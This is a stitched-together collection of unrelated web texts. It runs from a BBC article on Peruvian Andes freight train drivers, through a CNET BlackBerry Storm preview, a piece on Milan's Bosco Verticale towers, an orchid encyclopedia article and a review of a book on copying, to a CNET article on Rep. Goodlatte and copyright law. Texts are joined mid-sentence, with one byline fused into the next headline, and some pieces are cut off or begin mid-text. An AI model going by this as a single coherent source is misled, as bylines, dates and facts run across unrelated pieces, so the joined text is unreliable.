It is a skill that is difficult to acquire even for an experienced train driver like Simon Davies from the UK, who travelled to the Andes with the BBC film crew.
Off the beaten track The Ferrocarril Central Andino runs for 535km (332 miles)
It reaches 4800m (15,748ft) altitude at Galera station, about the same height as Mount Blanc
There are 27 stations on the line
Gradients on the line reach 5% between Matucana and Galera
The railway crosses the Altiplano - the highest plateau on earth outside Tibet - which spreads across parts of Peru, Chile, Argentina and Bolivia
Once at the controls, Simon stalls the engine and the crew try but fail to get it restarted.
The men are now at risk of being stranded in sub-zero temperatures as they await rescue, and Simon senses real concern.
"Being stuck there, with no heat, no power... They were trying to hide it a bit, but I could see a bit of panic on their faces," he says.
Eventually, the engine starts but their trouble is not over.
The wheels spin, unable to get any traction, and as the weather worsens, Daniel decides on a drastic course of action.
"We have too much weight. The snow makes it worse. We need to remove some of the wagons. We have to cut the train in half," he decides.
It is well after dark before the exhausted crew arrive at their destination.
A chastened Simon is getting a taste of just how difficult conditions are for the men trying to control these huge trains.
"There are many times you lost concentration," Daniel tells Simon over a cup of tea. "This is because you are not watching your speed.
"If you lose concentration for just one second, it can be very costly."
The Andes mountains contain some of the richest reserves of metals and minerals on earth. Copper, zinc, lead and silver are all found here.
"If there wasn't any mining here, there wouldn't be any railway. We only transport minerals," says fellow driver Eloy Galvan.
The metals and minerals account for 60% of Peru's exports and have brought new wealth to the country.
The men of the FCCA can often spend up to two weeks away from home while on shift, working every day until they reach their destinations and then spending their nights in small, unheated cabins on the mountainside.
"These are sad and lonely places. It's not like home with my wife and children," says Eloy.
"I'm usually pretty good at working hard, but this is something else," agrees Simon. "This is more than hard work."
"We have to stay over and it's freezing cold. I'm leaving my hat on. I've got all my clothes on, because it's absolutely freezing and we've only got these llama blankets."
Waking the next morning and after a prayer at a shrine to the Virgin of Cocharcas, the men prepare to take the now fully laden train back down the mountainside.
Back home at the port of Callao, the railwaymen's families face an anxious wait for the crew and their heavy load to return safely home.
"I am scared. He's told me he sometimes comes down with 2,200 tons," says Cathy, Daniel's wife.
Image caption UK passenger train driver Simon Davies was taught to drive Daniel Garcia Zegarra's freight train
"It used to be less. When he comes down with 2,450 tons I tell him: 'No, think of your family.'"
Half way down the mountainside, the wheels do overheat but Daniel is alert to the danger. A short delay is enough to let them cool down, and the 15-hour non-stop journey continues.
For Simon Davies, who normally drives for Virgin Trains between London and Manchester, it is an experience he will never forget and he is struck by what his Peruvian counterparts have to endure.
"Every day, every hour, they're working with potentially major danger to provide for their families.
"That camaraderie is there, that teamwork is there and they really look after each other. I describe them as like warrior-type drivers."
Toughest Place to be... a Train Driver is on BBC Two at 21:00 GMT on Sunday 12 February or watch online via iPlayer (UK only) at the above link.We all knew it was approaching, but brace yourself, the Storm has made landfall. Tuesday night, Research In Motion and Verizon Wireless officially introduced the first touch-screen BlackBerry to the world: the RIM BlackBerry Storm.
Also known by its code name, BlackBerry Thunder, the Storm features a touch-sensitive display that's unlike that on any other touch-screen smartphone available today, thanks to RIM's own twist (more on this below). There are plenty of other highlights as well, including dual-mode functionality, support for Verizon's EV-DO Rev. A, integrated GPS, BlackBerry OS 4.7, and more.
Now, before you run out to the nearest Verizon store, we've got some bad news. Unfortunately, you won't be able to get your hands on the BlackBerry Storm quite yet (groan). A specific release date and pricing were not announced, but Verizon said the Storm would be out by the holiday season with "competitive" pricing. Obviously, we're not fans (and we're guessing you're not either) of such vague answers, especially in light of the RIM BlackBerry Bold delay.
RIM and Verizon did come by our office to give us a full rundown on the features, as well as some brief hands-on time with the device, so without further ado, here are all the details and our impressions of the RIM BlackBerry Storm.
Design
Obviously, the touch screen is the biggest highlight of the BlackBerry Storm, but as we mentioned earlier, it's unlike any other touch-screen smartphone we've seen so far, including the Apple iPhone, T-Mobile G1, and Samsung Omnia.
Rather than provide haptic feedback (or none at all), RIM developed something completely new called ClickThrough, which consists of a suspension system that lies beneath the display, so that when you go to select an application or enter text, you actually push the screen down like you would any other tactile button.
Admittedly, it was a little weird when I first tried it. Given that with all other touch-screen devices, it's just a matter of lightly tapping on an icon or some similar action, it wasn't my first inclination to physically push down on the screen. My colleague Kent German also tried it out and had a similar reaction; while cool, the idea behind it took some explaining to fully realize the capabilities. Now, that's not to say we don't like ClickThrough; it just takes a little acclimation. Plus, it was responsive and I was pleasantly surprised at how easy and accurate it was to compose messages and notes.
In terms of text extry, the BlackBerry Storm features a SureType keyboard when the smartphone is in portrait mode and then switches to a full QWERTY keyboard in landscape mode. The Storm has a built-in accelerometer so it will automatically rotate the screen depending on if the phone is held vertically or horizontally (left- and right-hand support included). The letter/number keys also glow blue when you're typing.
The quality of the display is slightly better than the RIM BlackBerry Bold's. The Storm features a 3.25-inch diagonal display with a 480x360 pixel resolution and support for 65,000 colors, where as the Bold has a half-VGA, 480x320 pixel display. The handset itself is about the size of the BlackBerry Curve, but slightly thicker. It measures 4.4 inches tall by 2.4 inches wide by 0.5 inch deep and weighs 5.6 ounces. It's equipped with a 3.5mm headphone jack, has four shortcut keys (Talk and End, Back, and BlackBerry menu), and a microSD slot behind the back cover, among other things.
Features
Don't be fooled; the RIM BlackBerry Storm is more than just a pretty face. As far as phone features, the Storm, like the RIM BlackBerry 8830 World Edition, offers dual-mode functionality. This means the phone switches automatically between CDMA and GSM networks to offer seamless international roaming--all while keeping the same phone number. (Note that the phone does not support domestic GSM bands, and a SIM card is included in the box.) It also works on Verizon's EV-DO Rev. A network as well as Europe's 2100MHz UMTS/HSDPA band. There's a full HTML Web browser (no Flash), and the Storm will also support Verizon's V Cast Music and Mobile TV services, though not immediately at launch.
Other wireless options include Bluetooth 2.0 with support for stereo Bluetooth headsets and dial-up networking and GPS but no Wi-Fi. BlackBerry Maps is onboard if you want text-based turn-by-turn directions, but for more advanced navigation features, such as voice prompts, you'll be forced to use Verizon's VZ Navigator service.
The BlackBerry Storm will run the latest BlackBerry OS (version 4.7), so you finally get an updated interface while still getting support for multiple e-mail accounts (BlackBerry Enterprise, Microsoft Exchange, Lotus Notes, POP3, IMAP4, and more) with wireless synchronization. In addition to an attachment viewer, you can also do some light editing on Microsoft Word and PowerPoint files. There's 128MB of flash memory and 1GB of onboard memory, which is all supplemented by the microSD/SDHC expansion slot (supports up to 16GB cards).
Though the BlackBerry is historically known more as a business device, RIM and Verizon hope to attract more consumers with the BlackBerry Storm and it comes with a number of multimedia capabilities. The media player can handle various music and video formats, including MP3, AAC, WMA, WMV, MPEG4, and H.264. The included Media Sync software will also help you synchronize your iTunes files with your BlackBerry. The Storm is equipped with a 3.2-megapixel camera with video recording, auto focus, and flash.
Finally, it will come preloaded with instant-messaging clients (Yahoo, Windows Live, AOL, and ICQ) and a number of social-networking apps, including Facebook, MySpace, and Flickr. You'll also be able to download more programs over the air through the new BlackBerry App Center.
Outlook
OK, obviously, the RIM BlackBerry Storm has a lot to offer. The touch screen alone already has people drooling and clamoring over the device, and then you add the laundry list of features, and you're looking at a recipe for success. But will it actually deliver? Well, it's a hard to say, having only had about half an hour of hands-on time with the smartphone.
Overall, I was impressed--nice design, feature rich. Again, the ClickThrough touch screen takes some getting used to, and I wonder how it will hold up over months of use. Performance wise, the device seemed snappy, but I also caught a couple of bugs. For example, the camera activated while trying to perform some function in e-mail. However, I know it wasn't a final product, so I won't hold that against RIM. Music and video playback were pretty impressive as well.
There's enough appeal there for consumers, mobile professionals, and new and old BlackBerry users, but I think price will play a huge factor. Verizon has to be careful not to cross that fine line between what's reasonable and what puts the device out of range. What do you guys have think? What are the BlackBerry Storm's hits and misses? Do you want one? How much are you willing to pay?
By Bonnie ChaTowers of trees: Vertical forests in the sky are the height of green living
Towering over the city skyline, these are the world's first forest in the sky apartments, complete with a living space that is also your garden.
With trees equal to one hectare of forest spanning 27 floors, these 365 and 260-foot emerald, twin towers will be home to an astonishing 730 trees, 5,000 shrubs and 11,000 ground plants.
Basking in the north Italian sun, the towers, called the Bosco Verticale, are under construction in the city of Milan - and the plants are being grown in pots while their new home is being prepared.
Green towers: Artist's impression of the 27-floor apartment buildings which will contain 730 trees and 16,000 shrubs and plants
Crane forest: The street in Milan, Italy, where the revolutionary green apartments are being built covered with thousands of trees and plants
Director of Boeri Studios, Michele Brunello, 35, has been managing the project for his urban design and architecture firm since it was designed in 2006.
'The idea for a vertical forest came when we were involved in a local tree planting project,' he explained.
'We imaged a building that allowed the landscape to enter it.
'By creating a tower that truly becomes a home for the landscape we have a powerful tool.'
Brunello's concept is designed to save on land, which, he said, is a precious resource in the centre of a major city.
'We can provide the quality of life of expensive housing without consuming the resources that conventional housing would demand.
'On top of this we |
(below right). Some orchids have secondarily lost this resupination, e.g. Epidendrum secundum.
Vanilla planifolia Longitudinal section of a flower of
The normal form of the sepals can be found in Cattleya, where they form a triangle. In Paphiopedilum (Venus slippers), the lower two sepals are fused into a synsepal, while the lip has taken the form of a slipper. In Masdevallia, all the sepals are fused.
Orchid flowers with abnormal numbers of petals or lips are called peloric. Peloria is a genetic trait, but its expression is environmentally influenced and may appear random.
Laeliocattleya cultivar shows the normal form of petals. cultivar shows the normal form of petals.
Orchid flowers primitively had three stamens, but this situation is now limited to the genus Neuwiedia. Apostasia and the Cypripedioideae have two stamens, the central one being sterile and reduced to a staminode. All of the other orchids, the clade called Monandria, retain only the central stamen, the others being reduced to staminodes (4). The filaments of the stamens are always adnate (fused) to the style to form cylindrical structure called the gynostemium or column (2). In the primitive Apostasioideae, this fusion is only partial; in the Vanilloideae, it is more deep; in Orchidoideae and Epidendroideae, it is total. The stigma (9) is very asymmetrical, as all of its lobes are bent towards the centre of the flower and lie on the bottom of the column.
Pollen is released as single grains, like in most other plants, in the Apostasioideae, Cypripedioideae, and Vanilloideae. In the other subfamilies, which comprise the great majority of orchids, the anther (3) carries two pollinia.
A pollinium is a waxy mass of pollen grains held together by the glue-like alkaloid viscin, containing both cellulosic strands and mucopolysaccharides. Each pollinium is connected to a filament which can take the form of a caudicle, as in Dactylorhiza or Habenaria, or a stipe, as in Vanda. Caudicles or stipes hold the pollinia to the viscidium, a sticky pad which sticks the pollinia to the body of pollinators.
At the upper edge of the stigma of single-anthered orchids, in front of the anther cap, is the rostellum (5), a slender extension involved in the complex pollination mechanism.
As mentioned, the ovary is always inferior (located behind the flower). It is three-carpelate and one or, more rarely, three-partitioned, with parietal placentation (axile in the Apostasioideae).
In 2011, Bulbophyllum nocturnum was discovered to flower nocturnally.[7]
Pollination [ edit ]
The complex mechanisms that orchids have evolved to achieve cross-pollination were investigated by Charles Darwin and described in Fertilisation of Orchids (1862). Orchids have developed highly specialized pollination systems, thus the chances of being pollinated are often scarce, so orchid flowers usually remain receptive for very long periods, rendering unpollinated flowers long-lasting in cultivation. Most orchids deliver pollen in a single mass. Each time pollination succeeds, thousands of ovules can be fertilized.
Pollinators are often visually attracted by the shape and colours of the labellum. However, some Bulbophyllum species attract male fruit flies (Bactrocera spp.) solely via a floral chemical which simultaneously acts as a floral reward (e.g. methyl eugenol, raspberry ketone, or zingerone) to perform pollination.[8] The flowers may produce attractive odours. Although absent in most species, nectar may be produced in a spur of the labellum (8 in the illustration above), or on the point of the sepals, or in the septa of the ovary, the most typical position amongst the Asparagales.
In orchids that produce pollinia, pollination happens as some variant of the following sequence: when the pollinator enters into the flower, it touches a viscidium, which promptly sticks to its body, generally on the head or abdomen. While leaving the flower, it pulls the pollinium out of the anther, as it is connected to the viscidium by the caudicle or stipe. The caudicle then bends and the pollinium is moved forwards and downwards. When the pollinator enters another flower of the same species, the pollinium has taken such position that it will stick to the stigma of the second flower, just below the rostellum, pollinating it. The possessors of orchids may be able to reproduce the process with a pencil, small paintbrush, or other similar device.
Ophrys apifera is about to self-pollinate is about to self-pollinate
Some orchids mainly or totally rely on self-pollination, especially in colder regions where pollinators are particularly rare. The caudicles may dry up if the flower has not been visited by any pollinator, and the pollinia then fall directly on the stigma. Otherwise, the anther may rotate and then enter the stigma cavity of the flower (as in Holcoglossum amesianum).
The slipper orchid Paphiopedilum parishii reproduces by self-fertilization. This occurs when the anther changes from a solid to a liquid state and directly contacts the stigma surface without the aid of any pollinating agent or floral assembly.[9]
The labellum of the Cypripedioideae is poke bonnet-shaped, and has the function of trapping visiting insects. The only exit leads to the anthers that deposit pollen on the visitor.
In some extremely specialized orchids, such as the Eurasian genus Ophrys, the labellum is adapted to have a colour, shape, and odour which attracts male insects via mimicry of a receptive female. Pollination happens as the insect attempts to mate with flowers.
Many neotropical orchids are pollinated by male orchid bees, which visit the flowers to gather volatile chemicals they require to synthesize pheromonal attractants. Males of such species as Euglossa imperialis or Eulaema meriana have been observed to leave their territories periodically to forage for aromatic compounds, such as cineole, to synthesize pheromone for attracting and mating with females.[10][11] Each type of orchid places the pollinia on a different body part of a different species of bee, so as to enforce proper cross-pollination.
A rare achlorophyllous saprophytic orchid growing entirely underground in Australia, Rhizanthella slateri, is never exposed to light, and depends on ants and other terrestrial insects to pollinate it.
Catasetum, a genus discussed briefly by Darwin, actually launches its viscid pollinia with explosive force when an insect touches a seta, knocking the pollinator off the flower.
After pollination, the sepals and petals fade and wilt, but they usually remain attached to the ovary.
Asexual reproduction [ edit ]
Some species, such as Phalaenopsis, Dendrobium, and Vanda, produce offshoots or plantlets formed from one of the nodes along the stem, through the accumulation of growth hormones at that point. These shoots are known as keiki.
Fruits and seeds [ edit ]
Cross-sections of orchid capsules showing the longitudinal slits
The ovary typically develops into a capsule that is dehiscent by three or six longitudinal slits, while remaining closed at both ends.
The seeds are generally almost microscopic and very numerous, in some species over a million per capsule. After ripening, they blow off like dust particles or spores. They lack endosperm and must enter symbiotic relationships with various mycorrhizal basidiomyceteous fungi that provide them the necessary nutrients to germinate, so all orchid species are mycoheterotrophic during germination and reliant upon fungi to complete their lifecycles.
Phalaenopsis blossom Closeup of ablossom
As the chance for a seed to meet a suitable fungus is very small, only a minute fraction of all the seeds released grow into adult plants. In cultivation, germination typically takes weeks.
Horticultural techniques have been devised for germinating orchid seeds on an artificial nutrient medium, eliminating the requirement of the fungus for germination and greatly aiding the propagation of ornamental orchids. The usual medium for the sowing of orchids in artificial conditions is agar agar gel combined with a carbohydrate energy source. The carbohydrate source can be combinations of discrete sugars or can be derived from other sources such as banana, pineapple, peach, or even tomato puree or coconut water. After the preparation of the agar agar medium, it is poured into test tubes or jars which are then autoclaved (or cooked in a pressure cooker) to sterilize the medium. After cooking, the medium begins to gel as it cools.
Taxonomy [ edit ]
The taxonomy of this family is in constant flux, as new studies continue to clarify the relationships between species and groups of species, allowing more taxa at several ranks to be recognized. The Orchidaceae is currently placed in the order Asparagales by the APG III system of 2009.[1]
Five subfamilies are recognised. The cladogram below was made according to the APG system of 1998. It represents the view that most botanists had held up to that time. It was supported by morphological studies, but never received strong support in molecular phylogenetic studies.
Apostasioideae: 2 genera and 16 species, south-western Asia Cypripedioideae: 5 genera and 130 species, from the temperate regions of the world, as well as tropical America and tropical Asia Monandrae Vanilloideae: 15 genera and 180 species, humid tropical and subtropical regions, eastern North America Epidendroideae: more than 500 genera and more or less 20,000 species, cosmopolitan Orchidoideae: 208 genera and 3,630 species, cosmopolitan
In 2015, a phylogenetic study[12] showed strong statistical support for the following topology of the orchid tree, using 9 kb of plastid and nuclear DNA from 7 genes, a topology that was confirmed by a phylogenomic study in the same year.[13]
Evolution [ edit ]
A study in the scientific journal Nature has hypothesised that the origin of orchids goes back much longer than originally expected.[14] An extinct species of stingless bee, Proplebeia dominicana, was found trapped in Miocene amber from about 15-20 million years ago. The bee was carrying pollen of a previously unknown orchid taxon, Meliorchis caribea, on its wings. This find is the first evidence of fossilised orchids to date[14] and shows insects were active pollinators of orchids then. This extinct orchid, M. caribea, has been placed within the extant tribe Cranichideae, subtribe Goodyerinae (subfamily Orchidoideae). An even older orchid species, Succinanthera baltica, was described from the Eocene Baltic amber by Poinar & Rasmussen (2017).[15]
Genetic sequencing indicates orchids may have arisen earlier, 76 to 84 million years ago during the Late Cretaceous.[16] According to Mark W. Chase et al. (2001), the overall biogeography and phylogenetic patterns of Orchidaceae show they are even older and may go back roughly 100 million years.[17]
Using the molecular clock method, it was possible to determine the age of the major branches of the orchid family. This also confirmed that the subfamily Vanilloideae is a branch at the basal dichotomy of the monandrous orchids, and must have evolved very early in the evolution of the family. Since this subfamily occurs worldwide in tropical and subtropical regions, from tropical America to tropical Asia, New Guinea and West Africa, and the continents began to split about 100 million years ago, significant biotic exchange must have occurred after this split (since the age of Vanilla is estimated at 60 to 70 million years).
Genome duplication occurred prior to the divergence of this taxon.[18]
Genera [ edit ]
The following are amongst the most notable genera of the orchid family:[citation needed]
Etymology [ edit ]
The type genus (i.e. the genus after which the family is named) is Orchis. The genus name comes from the Ancient Greek ὄρχις (órkhis), literally meaning "testicle", because of the shape of the twin tubers in some species of Orchis.[19][20] The term "orchid" was introduced in 1845 by John Lindley in School Botany,[21] as a shortened form of Orchidaceae.[22]
In Middle English, the name bollockwort was used for some orchids, based on "bollock" meaning testicle and "wort" meaning plant.[23]
Distribution [ edit ]
Orchidaceae are cosmopolitan, occurring in almost every habitat apart from glaciers. The world's richest diversity of orchid genera and species is found in the tropics, but they are also found above the Arctic Circle, in southern Patagonia, and two species of Nematoceras on Macquarie Island at 54° south.
The following list gives a rough overview of their distribution:[citation needed]
Oceania: 50 to 70 genera
North America: 20 to 26 genera
tropical America: 212 to 250 genera
tropical Asia: 260 to 300 genera
tropical Africa: 230 to 270 genera
Europe and temperate Asia: 40 to 60 genera
Ecology [ edit ]
A majority of orchids are perennial epiphytes, which grow anchored to trees or shrubs in the tropics and subtropics. Species such as Angraecum sororium are lithophytes,[24] growing on rocks or very rocky soil. Other orchids (including the majority of temperate Orchidaceae) are terrestrial and can be found in habitat areas such as grasslands or forest.
Some orchids, such as Neottia and Corallorhiza, lack chlorophyll, so are unable to photosynthesise. Instead, these species obtain energy and nutrients by parasitising soil fungi through the formation of orchid mycorrhizas. The fungi involved include those that form ectomycorrhizas with trees and other woody plants, parasites such as Armillaria, and saprotrophs.[25] These orchids are known as myco-heterotrophs, but were formerly (incorrectly) described as saprophytes as it was believed they gained their nutrition by breaking down organic matter. While only a few species are achlorophyllous holoparasites, all orchids are myco-heterotrophic during germination and seedling growth, and even photosynthetic adult plants may continue to obtain carbon from their mycorrhizal fungi.
Uses [ edit ]
As decoration in a flowerpot
Brassolaeliocattleya ("BLC") Paradise Jewel 'Flame' hybrid orchid. Blooms of the Cattleya alliance are often used in ladies' ("BLC") Paradise Jewel 'Flame' hybrid orchid. Blooms of thealliance are often used in ladies' corsages
Perfumery [ edit ]
The scent of orchids is frequently analysed by perfumers (using headspace technology and gas-liquid chromatography/mass spectrometry) to identify potential fragrance chemicals.[26]
Horticulture [ edit ]
The other important use of orchids is their cultivation for the enjoyment of the flowers. Most cultivated orchids are tropical or subtropical, but quite a few that grow in colder climates can be found on the market. Temperate species available at nurseries include Ophrys apifera (bee orchid), Gymnadenia conopsea (fragrant orchid), Anacamptis pyramidalis (pyramidal orchid) and Dactylorhiza fuchsii (common spotted orchid).
Orchids of all types have also often been sought by collectors of both species and hybrids. Many hundreds of societies and clubs worldwide have been established. These can be small, local clubs, or larger, national organisations such as the American Orchid Society. Both serve to encourage cultivation and collection of orchids, but some go further by concentrating on conservation or research.
The term "botanical orchid" loosely denotes those small-flowered, tropical orchids belonging to several genera that do not fit into the "florist" orchid category. A few of these genera contain enormous numbers of species. Some, such as Pleurothallis and Bulbophyllum, contain approximately 1700 and 2000 species, respectively, and are often extremely vegetatively diverse. The primary use of the term is among orchid hobbyists wishing to describe unusual species they grow, though it is also used to distinguish naturally occurring orchid species from horticulturally created hybrids.
New orchids are registered with the International Orchid Register, maintained by the Royal Horticultural Society.
Use as food [ edit ]
Vanilla fruits drying
The dried seed pods of one orchid genus, Vanilla (especially Vanilla planifolia), are commercially important as a flavouring in baking, for perfume manufacture and aromatherapy.
The underground tubers of terrestrial orchids [mainly Orchis mascula (early purple orchid)] are ground to a powder and used for cooking, such as in the hot beverage salep or in the Turkish frozen treat dondurma. The name salep has been claimed to come from the Arabic expression ḥasyu al-tha‘lab, "fox testicles", but it appears more likely the name comes directly from the Arabic name saḥlab. The similarity in appearance to testes naturally accounts for salep being considered an aphrodisiac.
The dried leaves of Jumellea fragrans are used to flavour rum on Reunion Island.
Some saprophytic orchid species of the group Gastrodia produce potato-like tubers and were consumed as food by native peoples in Australia and can be successfully cultivated, notably Gastrodia sesamoides. Wild stands of these plants can still be found in the same areas as early aboriginal settlements, such as Ku-ring-gai Chase National Park in Australia. Aboriginal peoples located the plants in habitat by observing where bandicoots had scratched in search of the tubers after detecting the plants underground by scent.[Note 1]
Traditional medicinal uses [ edit ]
Orchids have been used in traditional medicine in an effort to treat many diseases and ailments. They have been used as a source of herbal remedies in China since 2800 BC. Gastrodia elata is one of the three orchids listed in the earliest known Chinese Materia Medica (Shennon bencaojing) (c. 100 AD). Theophrastus mentions orchids in his Enquiry into Plants (372–286 BC).
Cultural symbolism [ edit ]
Orchids have many associations with symbolic values. For example, the orchid is the City Flower of Shaoxing, China. Cattleya mossiae is the national Venezuelan flower, while Cattleya trianae is the national flower of Colombia. Vanda 'Miss Joaquim' is the national flower of Singapore, Guarianthe skinneri is the national flower of Costa Rica and Rhyncholaelia digbyana is the national flower of Honduras.[29] Prosthechea cochleata is the national flower of Belize, where it is known as the black orchid.[30] Lycaste skinneri has a white variety (alba) that is the national flower of Guatemala, commonly known as Monja Blanca (White Nun). Panama's national flower is the Holy Ghost orchid (Peristeria elata), or 'the flor del Espiritu Santo'.
Orchids native to the Mediterranean are depicted on the Ara Pacis in Rome, until now the only known instance of orchids in ancient art, and the earliest in European art.[Note 2]
Some cultivars
Cattleya Mrs. Mahler 'Mem. Fred Tompkins'
Cattleya Queen Sirikit 'Diamond Crown'
Cattleya Hawaiian Wedding Song 'Virgin'
Rhyncholaeliocattleya Chia Lin
Cattleya Hawaiian Variable 'Prasan'
Cattlianthe Barbara Belle
Cattleya Beaumesnil 'Parme'
Cattlianthe Chocolate Drop x Cattleya Pão de Açúcar
Cattleya mossiae' Empress Frederick'
'Hermine'
Cattleya Little Angel
Cattleya Marjorie Hausermann 'York'
'Miva Breeze Alize'
Rhyncholaeliocattleya 'Nobile's carnival'
Cattleya Pernel George Barnett 'Yankee Clipper'
Cattlianthe Portia
See also [ edit ]
Notes [ edit ]
^ [28] Early western district (Vic.) settler gives account of local Aboriginal people gathering potato orchid tubers, digging where bandicoots had scratched. ^ Ara Pacis orchids is not yet known.[31] The symbolic (or even religious) meaning of theorchids is not yet known.
References [ edit ]IN 2004, THE MUSIC PRODUCER and disc jockey Danger Mouse released a limited pressing of a CD called The Grey Album, which superimposed the vocals from Jay-Z’s The Black Album over the Beatles’s The White Album. Although The Grey Album violated copyright law, and in spite of the record company’s attempts to suppress it, the album was quickly uploaded to file-sharing services, and became wildly popular. Since it can be distributed anonymously, The Grey Album remains available online today, outside of the control of the copyright holders and their proxies: music retailers, licensers, even libraries or other archives. It is a ubiquitous, but technically illegal, work of art.
Despite its title, Marcus Boon’s book is not so much a manifesto as a philosophical meditation on the world that produced The Grey Album: a world in which Chinese sneaker manufacturers make original Nikes during the day and fake Nikes at night; in which private copyright enforcers “bust” copy shops for selling unauthorized university course packets, while Google Books posts the same texts online with impunity; in which a young student in Rwanda might use a laptop provided free by the Gates Foundation to distribute illegal copies of Microsoft software. In the midst of an astonishing abundance of copies, and almost limitless networks of duplication—what Boon calls copia, from a Latin word meaning plenitude—we suffer from a near-hysterical fear of unchecked duplication, in the form of “fakes,” bootlegs, plagiarized assignments, counterfeit, or pirated goods. “Copying seems to manifest as a pressing issue at moments where there is a radical shift in societies,” Boon observes. “The word ‘copy’ appears today at all those locations where the dominant capitalist economic structure stutters and stumbles.”
The originality of Boon’s approach—“originality” being a word we have to use judiciously in this context—lies in his source material: a mash up of Continental philosophy, in the Hegel-Nietzsche-Heidegger-Derrida tradition, with Mahayana Buddhist philosophy, particularly that of the Tibetan tradition that Boon himself practices. Continental philosophy has a longstanding concern with duplication, supplementation, simulation, and doubling, as most famously represented in the work of Jean Baudrillard, who once published a book entitled The Gulf War Did Not Happen, insisting, only half-jokingly, that the invasion of Iraq in 1991 was a mediated simulation of a war, produced for television. This tradition, Boon argues, provides an alternate framework for the Platonic understanding of “the real” that dominates Western thinking on the subject of copyright and intellectual ownership. While Plato argued—and modern copyright law affirms—that “ideas cannot be owned, because they are intangible, but the original expression of an idea can be owned when it is tangible, material, fixed,” Baudrillard, Deleuze, Derrida, Foucault, and others argue, in different registers, that this obsession with a fixed point of origin, an “essence,” is merely a construction of our current social order, and that any notion of permanent identity or single authorship disregards the interconnected network of codes, “traces,” influences and allusions that bring about a material product—whether it is a book, a song, or a Louis Vuitton handbag.
This argument will not be news to most educated Western readers. What is more startling is how Mahayana Buddhist philosophy arrived at the same juncture approximately two thousand years ago. Through a deceptively simple method of analysis, the so-called fourfold negation, Mahayana philosophy of the Madhyamaka (or “Middle Way”) school strips away our assumptions about the permanent and fixed nature of our minds and the world around us. In these terms, Boon writes, Buddhist philosophers would “ask the Platonist where one can find the ideal form which supposedly constitutes the real Louis Vuitton bag … and demonstrate that it has no existence. We can find nothing but the bags that are around us, some of which we call and designate ‘Louis Vuitton bags.’ This designation is always necessarily a relative one.” Our dependence on notions of originality and ownership, in Buddhist terms, is part of a larger need to see the phenomenal world as stable, unchanging, and “real,” when in fact we know that this is not the case.ASCAP
The outgoing chairman of a House of Representatives panel responsible for U.S. copyright law conceived the memorable Stop Online Piracy Act. Its next chairman happens to be even more enthusiastic about expanding digital copyright law.
Rep. Bob Goodlatte was elected head of the House Judiciary committee today, much to the dismay of advocacy groups that had doggedly worked to defeat SOPA and Protect IP a year ago.
The Virginia Republican has long been a steadfast ally of Hollywood and other large copyright holders, saying as recently as two months ago that "I remain committed to enacting strong copyright laws." In a press release last year, Goodlatte said he was supporting SOPA because the legislation -- which was withdrawn in the face of an unprecedented Internet protest -- would "protect American jobs" and prevent American babies from dying after drinking "counterfeit" baby formula.
"It's unfortunate to see another copyright maximalist taking over the chairmanship of the Judiciary committee, especially because Rep. Goodlatte has failed to show even a slight change of heart after the resounding defeat of SOPA," says Julie Samuels, a staff attorney at the Electronic Frontier Foundation, a vocal SOPA critic. "If anything he's doubled down, despite the bill's profound unpopularity."
In a local radio interview weeks after an explosion of criticism prompted outgoing Judiciary chairman Lamar Smith to abandon SOPA, Goodlatte defended the Hollywood-backed bill that he helped to shape. SOPA remains necessary to combat "the theft that's taking place on the Internet," he told WFIR Radio.
NMPA
Goodlatte is even more of a copyright hawk than Smith, who is losing his Judiciary chairmanship because of term limits. Goodlatte previously distributed a press release saying he "applauds" the controversial Anti-Counterfeiting Trade Agreement (ACTA) and said it's "unrealistic" to think that current copyright law's notice-and-takedown provisions will continue to exist (he thinks they're too burdensome for copyright holders). He's also co-chairman of the Anti-Piracy Caucus, which boasts that copyright industries "generate more revenues than any other single manufacturing sector."
A Goodlatte spokeswoman did not respond to requests for comment from CNET today.
The conservative Republican's support for digital piracy crackdowns is hardly new. In 1997, he was responsible for a federal law that makes peer-to-peer pirates liable for up to $250,000 in fines and three-year prison terms. His No Electronic Theft Act made not-for-profit piracy a federal crime; until then, it had been merely a civil offense.
SOPA and Protect IP temporarily vanished after millions of Americans joined an online protest in January against the bill, which included alerts on the home pages of Google.com and Craigslist.org, although Hollywood has indicated it has not given up. Both bills are designed to target so-called rogue Web sites by allowing the Justice Department to obtain an order to be served on search engines and Internet service providers that would force them to make the suspected piractical site effectively vanish, a procedure that has led to some First Amendment concerns.
Hollywood's (new) favorite Republican
During last winter's SOPA debate, outgoing Judiciary chairman Lamar Smith emerged as Hollywood's favorite Republican politician.
Now Goodlatte is poised to claim that title. The TV, movie, and music industries already were Goodlatte's top industry contributor during the 2012 election cycle, according to the Center for Responsive Politics. (Since early last year, Goodlatte has been chairman of the House Judiciary subcommittee on intellectual property, which probably helped.)
It might seem like an odd relationship. Goodlatte is a social conservative who once voted for a federal investigation of a salacious scene in Grand Theft Auto: San Andreas, for a ban on Internet gambling, and for a constitutional amendment banning same-sex marriage. He reliably receives a zero percent rating on scorecards prepared by the ACLU and NARAL Pro-Choice America.
Goodlatte represents one of the more conservative corners of Virginia: the 6th District includes Lynchburg and Harrisonburg, and in 2008 opted for John McCain over Barack Obama by a 58 to 42 percent margin. It was home to evangelical pastor and televangelist Jerry Falwell, and was where Falwell founded Liberty University, the largest evangelical Christian school in the world.
The entertainment industry prefers Democratic politicians, of course. No less than 78 percent of political contributions from Hollywood went to Democrats in 2008, and DreamWorks Animation CEO Jeffrey Katzenberg and Warner Bros. Chairman Barry Meyer were Obama's top "bundlers" during this year's campaign.
But when Republicans are in power, the entertainment industry will woo the GOP. The SOPA-supporting National Music Publishers' Association, a copyright hawk that sued Google over allegedly infringing YouTube clips, honored Goodlatte with its President's Award last fall. The group lauded the Virginia congressman as someone who has "tirelessly championed the importance of intellectual property rights."
A year earlier, Goodlatte was a guest of honor at a gala in Washington, D.C. organized by another pro-SOPA group, the American Society of Composers, Artists and Publishers. It was held in advance of the group's Capitol Hill lobbying day, and featured entertainers including singer-songwriters Tracy Chapman and Jessi Alexander. Goodlatte was chosen to introduce musician J.D. Souther, who performed "You're Only Lonely" and "Heartache Tonight."
The Motion Picture Association of America, too, is effusive in praising Goodlatte's copyright expansion efforts. An MPAA blog post said "kudos to Chairman Goodlatte" for defending SOPA against criticism, and a press release said Hollywood "hails" Goodlatte for helping to craft the legislation in the first place. The Recording Industry Association of America, not to be left out, announced that it "salutes" his efforts.
